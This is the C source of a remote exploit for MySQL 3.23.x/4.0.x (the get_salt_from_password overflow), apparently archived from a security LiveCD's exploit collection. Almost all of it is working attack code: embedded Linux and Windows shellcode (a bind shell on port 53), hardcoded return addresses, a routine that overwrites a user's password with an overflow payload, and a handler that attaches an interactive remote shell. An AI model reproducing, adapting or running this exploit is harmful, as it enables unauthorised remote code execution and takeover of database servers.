home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / database / mysql / mysql.c < prev    next >
C/C++ Source or Header  |  2005-02-12  |  10KB  |  368 lines

  1. /* exp for mysql ([get_salt_from_password] problem)
  2.  * proof of concept
  3.  * using jmp *eax for linux
  4.  * using jmp *edx for windows
  5.  * bkbll(bkbll_at_cnhonker.net,bkbll_at_tom.com) 2003/09/13
  6.  * Welcome to http://www.cnhonker.com
  7.  * compile:gcc -o mysql mysql.c -L/usr/lib/mysql -lmysqlclient
  8.  */
  9. #include <stdio.h>
  10. #include <stdlib.h>
  11. #include <unistd.h>
  12. #include <errno.h>
  13. #include <sys/socket.h>
  14. #include <sys/types.h>
  15. #include <sys/select.h>
  16. #include <netdb.h>
  17. #include <mysql/mysql.h>
  18.  
  19. #define ROOTUSER "root"
  20. #define PORT 3306
  21. #define MYDB "mysql"
  22. #define ALTCOLUMSQL "ALTER TABLE user CHANGE COLUMN Password Password LONGTEXT"
  23. #define LISTUSERSQL "SELECT user FROM mysql.user WHERE user!='root' LIMIT 0,1"
  24. #define FLUSHSQL "\x11\x00\x00\x00\x03\x66\x6C\x75\x73\x68\x20\x70\x72\x69\x76\x69\x6C\x65\x67\x65\x73"
  25. #define BUF 2048
  26. #define VER "2.0b4"
  27.  
  28. MYSQL *conn;
  29. char NOP[]="90";
  30. char linux_shellcode[]=
  31. "db31c03102b0c931"
  32. "c08580cdc3893474"
  33. "d231c03180cd07b0"
  34. "40b0c03109b180cd"
  35. "c031c38980cd25b0"
  36. "80c2fe43f07203fa"
  37. "14b0c031c38980cd"
  38. "c931c03125b009b1"
  39. "17b080cdc03180cd"
  40. "89504050b0c931e3"
  41. "b180cda283c889e0"
  42. "d0f70ae831c78940"
  43. "894c40c0525050e2"
  44. "4c8d5157db310424"
  45. "66b00ab3835980cd"
  46. "057501f874493a80"
  47. "31d2e209c38940c0"
  48. "fb8980cd3fb003b1"
  49. "4180cd496851f8e2"
  50. "68732f6e622f2f68"
  51. "51e389696c692d68"
  52. "51e28970e1895352"
  53. "c031d23180cd0bb0"
  54. ;
  55. //bind on 53 port
  56. char win_shellcode[]=
  57. "4A5A10EBB966C9333480017DFAE2990A"
  58. "EBE805EB70FFFFFF99999895A938FDC3"
  59. "12999999E91295D9D912348512411291"
  60. "ED12A5EA6A9AE1879AB9E7128DD71262"
  61. "CECF74AA9AA612C8F36B12623F6AC097"
  62. "C6C091EDDC9D5E1AC6C0707B125412C7"
  63. "5A9ABDDF589A784812FF50AA85DF1291"
  64. "78585A9A12589A9B125A9A991A6E1263"
  65. "4912975F71C09AF39999991ECB945F1A"
  66. "65CE66CFF34112C3ED71C09CC9999999"
  67. "F3C9C9C9669BF398411275CE999B9E5E"
  68. "59AAAC99F39DDE1066CACE8998F369CE"
  69. "6DCE66CA66CAC9C9491261CE12DD751A"
  70. "F359AA6D9D10C08910627B17CF10A1CF"
  71. "D9CF10A5B5DF5EFFDE149898AACFC989"
  72. "C8C8C850C8C898F3FAA5DE5E1499FDF4"
  73. "C8C9A5DECB79CE66CA65CE66C965CE66"
  74. "AA7DCE66591C3559CBC860EC4B66CACF"
  75. "7B32C0C35A59AA7766677671EDFCDE66"
  76. "FAF6EBC9EBFDFDD899EAEAFCF8FCEBDA"
  77. "EBC9FCEDEAFCFAF6DC99D8EACDEDF0E1"
  78. "F8FCEBF1F6D599FDF0D5FDF8EBF8EBFB"
  79. "EE99D8E0AAC6ABEACACE99ABFAF6CAD8"
  80. "D8EDFCF2F7F0FB99F0F599FDF7FCEDEA"
  81. "FAFAF89999EDE9FCEAF6F5FAFAF6EAFC"
  82. "99EDFCF2";
  83. int win_port=53;
  84. int type=1;
  85. struct
  86. {
  87.   char *os;
  88.   u_long ret;
  89.   int pad;
  90.   int systemtype; //0 is linux,1 is windows
  91. } targets[] =
  92.       {
  93.           { "linux:glibc-2.2.93-5", 0x42125b2b,19*4*2,0},
  94. //          { "windows2000 SP3 CN",0x77e625db,9*4*2,1},
  95.           { "windows2000 SP4 CN",0x77e7bec3,9*4*2,1},
  96.     },v;
  97.  
  98. void usage(char *);
  99. void sqlerror(char *);
  100. MYSQL *mysqlconn(char *server,int port,char *user,char *pass,char *dbname);
  101.  
  102. main(int argc,char **argv)
  103. {
  104.     MYSQL_RES *result;
  105.     MYSQL_ROW row;
  106.     char jmpaddress[8];
  107.     char buffer[BUF],muser[20],buf2[1200];
  108.     my_ulonglong rslines;
  109.     struct sockaddr_in clisocket;
  110.     int i=0,j,clifd,count,a;
  111.     char data1,c;
  112.     fd_set fds;
  113.     char *server=NULL,*rootpass=NULL;
  114.     int pad,systemtype;
  115.     u_long jmpaddr;
  116.     
  117.     if(argc<3) usage(argv[0]);
  118.     while((c = getopt(argc, argv, "d:t:p:"))!= EOF)
  119.        {
  120.              switch (c)
  121.              {
  122.               case 'd':
  123.                   server=optarg;
  124.                   break;
  125.               case 't':
  126.                   type = atoi(optarg);
  127.                   if((type > sizeof(targets)/sizeof(v)) || (type < 1))
  128.                        usage(argv[0]);
  129.                   break;
  130.              case 'p':
  131.                   rootpass=optarg;
  132.                    break;
  133.              default:
  134.                   usage(argv[0]);
  135.                   return 1;
  136.                }
  137.            }
  138.            if(server==NULL || rootpass==NULL)
  139.                usage(argv[0]);
  140.     memset(muser,0,20);
  141.     memset(buf2,0,1200);
  142.     pad=targets[type-1].pad;
  143.     systemtype=targets[type-1].systemtype;
  144.     jmpaddr=targets[type-1].ret;
  145.     printf("@-------------------------------------------------@\n");
  146.     printf("# Mysql 3.23.x/4.0.x remote exploit(09/13)-%s  #\n",VER);
  147.     printf("@ by bkbll(bkbll_at_cnhonker.net,bkbll_at_tom.com @\n");
  148.     printf("---------------------------------------------------\n");
  149.     printf("[+] system type:%s,using ret addr:%p,pad:%d\n",(systemtype==0)?"linux":"windows",jmpaddr,pad);
  150.     printf("[+] Connecting to mysql server %s:%d....",server,PORT);
  151.     fflush(stdout);
  152.     conn=mysqlconn(server,PORT,ROOTUSER,rootpass,MYDB);
  153.     if(conn==NULL) exit(0);
  154.     printf("ok\n");
  155.     printf("[+] ALTER user column...");
  156.     fflush(stdout);
  157.     if(mysql_real_query(conn,ALTCOLUMSQL,strlen(ALTCOLUMSQL))!=0)
  158.         sqlerror("ALTER user table failed");
  159.     //select
  160.     printf("ok\n");
  161.     printf("[+] Select a valid user...");
  162.     fflush(stdout);
  163.     if(mysql_real_query(conn,LISTUSERSQL,strlen(LISTUSERSQL))!=0) 
  164.         sqlerror("select user from table failed");
  165.     result=mysql_store_result(conn);
  166.     if(result==NULL)
  167.         sqlerror("store result error");
  168.     rslines=mysql_num_rows(result);
  169.     if(rslines==0)
  170.         sqlerror("Cannot find a user");
  171.     row=mysql_fetch_row(result);
  172.     snprintf(muser,19,"%s",row[0]);
  173.     printf("ok\n");
  174.     printf("[+] Found a user:%s\n",muser);
  175.     memset(buffer,0,BUF);
  176.     i=sprintf(buffer,"update user set password='");
  177.     sprintf(jmpaddress,"%x",jmpaddr);
  178.     jmpaddress[8]=0;
  179.     for(j=0;j<pad-4;j+=2)
  180.     {
  181.         memcpy(buf2+j,NOP,2);
  182.     }
  183.     memcpy(buf2+j,"06eb",4);
  184.     memcpy(buf2+pad,jmpaddress,8);
  185.     switch(systemtype)
  186.     {
  187.         case 0:
  188.             memcpy(buf2+pad+8,linux_shellcode,strlen(linux_shellcode));
  189.             break;
  190.         case 1:
  191.             memcpy(buf2+pad+8,win_shellcode,strlen(win_shellcode));
  192.             break;
  193.         default:
  194.             printf("[-] Not support this systemtype\n");
  195.             mysql_close(conn);
  196.             exit(0);
  197.     }
  198.     
  199.     j=strlen(buf2);
  200.     if(j%8)
  201.     {
  202.         j=j/8+1;
  203.         count=j*8-strlen(buf2);
  204.         memset(buf2+strlen(buf2),'A',count);
  205.     }
  206.     printf("[+] Password length:%d\n",strlen(buf2));
  207.     memcpy(buffer+i,buf2,strlen(buf2));
  208.     i+=strlen(buf2);
  209.     i+=sprintf(buffer+i,"' where user='%s'",muser);
  210.     mysql_free_result(result);
  211.     printf("[+] Modified password...");
  212.     fflush(stdout);    
  213.     //get result
  214.     //write(2,buffer,i);
  215.     if(mysql_real_query(conn,buffer,i)!=0) 
  216.         sqlerror("Modified password error");
  217.     //here I'll find client socket fd
  218.     printf("ok\n");
  219.     printf("[+] Finding client socket......");
  220.     j=sizeof(clisocket);
  221.     for(clifd=3;clifd<256;clifd++)
  222.     {
  223.         if(getpeername(clifd,(struct sockaddr *)&clisocket,&j)==-1) continue;
  224.         if(clisocket.sin_port==htons(PORT)) break;
  225.     }
  226.     if(clifd==256)
  227.     {
  228.         printf("FAILED\n[-] Cannot find client socket\n");
  229.         mysql_close(conn);
  230.         exit(0);
  231.     }
  232.     printf("ok\n");
  233.     printf("[+] socketfd:%d\n",clifd);
  234.     //let server overflow
  235.     printf("[+] Overflow server....");
  236.     fflush(stdout);
  237.     send(clifd,FLUSHSQL,sizeof(FLUSHSQL),0);
  238.     //if(mysql_real_query(conn,FLUSHSQL,strlen(FLUSHSQL))!=0) 
  239.     //    sqlerror("Flush error");
  240.     printf("ok\n");
  241.     if(systemtype==0)
  242.     {
  243.            printf("[+] sending OOB.......");
  244.            fflush(stdout);
  245.            data1='I';
  246.         if(send(clifd,&data1,1,MSG_OOB)<1)
  247.            {
  248.                perror("error");
  249.                mysql_close(conn);
  250.                exit(0);
  251.            }
  252.         printf("ok\r\n");
  253.     }
  254.     printf("[+] Waiting for a shell.....\n");
  255.     if(systemtype==1)
  256.     {
  257.         clifd=socket(AF_INET,SOCK_STREAM,0);
  258.         client_connect(clifd,server,win_port);
  259.     }
  260.     //printf("[+] Waiting a shell.....");
  261.     fflush(stdout);
  262.     execsh(clifd);
  263.     mysql_close(conn);
  264.     exit(0);
  265.        
  266. }
  267. int execsh(int clifd)
  268.     fd_set fds;
  269.     int count;
  270.     char buffer[BUF];
  271.     memset(buffer,0,BUF);
  272.     while(1)
  273.     {
  274.         FD_ZERO(&fds);
  275.         FD_SET(0, &fds);
  276.         FD_SET(clifd, &fds);
  277.         
  278.         if (select(clifd+1, &fds, NULL, NULL, NULL) < 0) 
  279.         {
  280.             if (errno == EINTR) continue;
  281.             break;
  282.         }
  283.         if (FD_ISSET(0, &fds)) 
  284.         {
  285.             count = read(0, buffer, BUF);
  286.             if (count <= 0) break;
  287.             if (write(clifd, buffer, count) <= 0) break;
  288.             memset(buffer,0,BUF);
  289.         }
  290.         if (FD_ISSET(clifd, &fds)) 
  291.         {
  292.             count = read(clifd, buffer, BUF);
  293.             if (count <= 0) break;
  294.             if (write(1, buffer, count) <= 0) break;
  295.             memset(buffer,0,BUF);
  296.         }
  297.         
  298.     }
  299. }
  300.     
  301. void usage(char *s)
  302. {
  303.     int a;
  304.     printf("@-------------------------------------------------@\n");
  305.     printf("# Mysql 3.23.x/4.0.x remote exploit(09/13)-%s  #\n",VER);
  306.     printf("@ by bkbll(bkbll_at_cnhonker.net,bkbll_at_tom.com @\n");
  307.     printf("---------------------------------------------------\n");
  308.     printf("Usage:%s -d <host> -p <root_pass> -t <type>\n",s);
  309.     printf("      -d target host ip/name\n");
  310.     printf("      -p 'root' user paasword\n");
  311.     printf("      -t  type [default:%d]\n",type);
  312.     printf("      ------------------------------\n");
  313.     for(a = 0; a < sizeof(targets)/sizeof(v); a++)
  314.         printf("         %d [0x%.8x]: %s\n", a+1, targets[a].ret, targets[a].os);   
  315.     printf("\n");           
  316.     exit(0);
  317. }
  318. MYSQL *mysqlconn(char *server,int port,char *user,char *pass,char *dbname)
  319. {
  320.     MYSQL *connect;
  321.     connect=mysql_init(NULL);
  322.     if(connect==NULL)
  323.     {
  324.         printf("FAILED\n[-] init mysql failed:%s\n",mysql_error(connect));
  325.         return NULL;
  326.     }
  327.     if(mysql_real_connect(connect,server,user,pass,dbname,port,NULL,0)==NULL)
  328.     {
  329.             printf("FAILED\n[-] Error: %s\n",mysql_error(connect));
  330.             return NULL;
  331.         }
  332.         return connect;
  333.  
  334. }
  335. void sqlerror(char *s)
  336. {
  337.     fprintf(stderr,"FAILED\n[-] %s:%s\n",s,mysql_error(conn));
  338.     mysql_close(conn);
  339.     exit(0);
  340. }
  341.  
  342. int client_connect(int sockfd,char* server,int port)
  343. {
  344.    struct sockaddr_in cliaddr;
  345.    struct hostent *host;
  346.  
  347.    if((host=gethostbyname(server))==NULL)
  348.    {
  349.        printf("gethostbyname(%s) error\n",server);
  350.        return(-1);
  351.    }      
  352.    
  353.    bzero(&cliaddr,sizeof(struct sockaddr));
  354.    cliaddr.sin_family=AF_INET;
  355.    cliaddr.sin_port=htons(port);
  356.    cliaddr.sin_addr=*((struct in_addr *)host->h_addr);
  357.    printf("[+] Trying %s:%d....",server,port);
  358.    fflush(stdout);
  359.    if(connect(sockfd,(struct sockaddr *)&cliaddr,sizeof(struct sockaddr))<0)
  360.    {
  361.        printf("error:%s\r\n",strerror(errno));
  362.        return(-1);
  363.    }
  364.    printf("ok\r\n");
  365.    return(0);
  366. }
  367.